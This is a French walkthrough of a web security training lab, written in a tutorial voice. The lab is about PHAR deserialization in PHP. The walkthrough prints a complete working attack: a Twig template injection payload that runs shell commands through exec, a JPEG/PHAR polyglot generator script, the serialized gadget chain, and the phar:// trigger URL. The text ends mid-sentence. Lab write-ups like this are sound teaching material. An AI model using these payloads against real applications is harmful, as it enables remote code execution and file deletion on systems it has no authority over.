Désérialisation PHAR avec chaîne personnalisée

Using PHAR deserialization to deploy a custom gadget chain

Lab: Using PHAR deserialization to deploy a custom gadget chain | Web Security AcademyWebSecAcademy

Ce lab ne fait pas de désérialisation “classique” de manière explicite. L’idée est de provoquer une désérialisation en exploitant le comportement de PHP avec le wrapper phar://, afin d’atteindre une RCE via une gadget chain personnalisée, puis supprimer :

• /home/carlos/morale.txt

Identifiants fournis :

• wiener:peter

1) Repérage côté application

Upload d’avatar

Après authentification, on peut uploader un fichier via une requête POST sur la fonctionnalité avatar.1) Repérage côté application

Quand on clique sur l’image de profil, l’application la charge via :

• /cgi-bin/avatar.php?avatar=wiener

Lecture de fichiers dans /cgi-bin/

En visitant /cgi-bin/, on observe une capacité de lecture sur plusieurs fichiers (utile pour récupérer le code et construire la chaîne).

Name	Size
CustomTemplate.php	1091B
CustomTemplate.php~	0B
Blog.php	628B
Blog.php~	0B
avatar.php	540B

2) Code source récupéré

blog.php

On y voit une classe Blog qui initialise Twig dans __wakeup() :

• __sleep() sérialise user et desc

• __wakeup() construit un Twig_Environment avec un template “index” basé sur desc

• __toString() rend index et injecte user

Point important : desc devient directement un template Twig, donc on peut viser une SSTI.

<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>

CustomTemplate.php

La classe CustomTemplate contient :

• un champ privé $template_file_path

• un destructeur __destruct() qui fait :

  • @unlink($this->lockFilePath());

lockFilePath() construit :

• 'templates/' . $this->template_file_path . '.lock'

Donc si on contrôle template_file_path avec un objet qui se convertit en string, on peut influencer le chemin utilisé par unlink().

<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Could not write to " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>

3) Charge utile Twig (SSTI → exec)

Payload Twig utilisé :

PayloadsAllTheThings/Server Side Template Injection/PHP.md at master · swisskyrepo/PayloadsAllTheThingsGitHub

Objectif : exécuter rm /home/carlos/morale.txt.

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}

4) Stratégie d’exploitation : PHAR polyglotte

Le défi : l’upload attend une image. Solution : créer un fichier polyglotte :

• valide comme JPEG

• mais contenant un PHAR (format tar/phar) avec metadata sérialisée

GitHub - kunte0/phar-jpg-polyglot: Phar + JPG Polyglot generator and playground (CTF CODE)GitHub

Pourquoi ça marche :

• quand PHP ouvre une ressource via phar://..., il peut déclencher la lecture du manifest PHAR et désérialiser les métadonnées (donc exécuter __wakeup, __destruct, etc. selon la chaîne).

<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();
    
    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remove <?php dosent work with prefix
    $len = strlen($phar) + 2; // fixed 
    $new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calc tar checksum
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // embed checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// pop exploit class
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// config for gif
$prefix = "\x47\x49\x46\x38\x39\x61" . "\x2c\x01\x2c\x01"; // gif header, size 300 x 300
$tempname = 'temp.phar'; // make it phar
$outfile = 'out.gif';

// make gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

5) Chaîne (gadget chain) construite

Tu fabriques :

• un objet Blog avec :

  • user = "pwned"

  • desc = <payload Twig SSTI>

• puis tu mets cet objet dans CustomTemplate->template_file_path

Comme ça, quand CustomTemplate est détruit, lockFilePath() va concaténer une valeur provenant d’un objet, ce qui force une conversion en string → appelle Blog::__toString() → déclenche twig->render() → interprète desc → exécute la commande.

php -c php.ini phar_jpg_polyglot.php

string(216) "O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:5:"pwned";s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}";}}"

• Upload de out.jpg comme avatar

Appel de la ressource via phar:// :

• cgi-bin/avatar.php?avatar=phar://wiener

À ce moment, l’application ouvre la ressource avec le wrapper PHAR, la metadata est désérialisée, la chaîne se déclenche, et le fichier :

• /home/carlos/morale.txt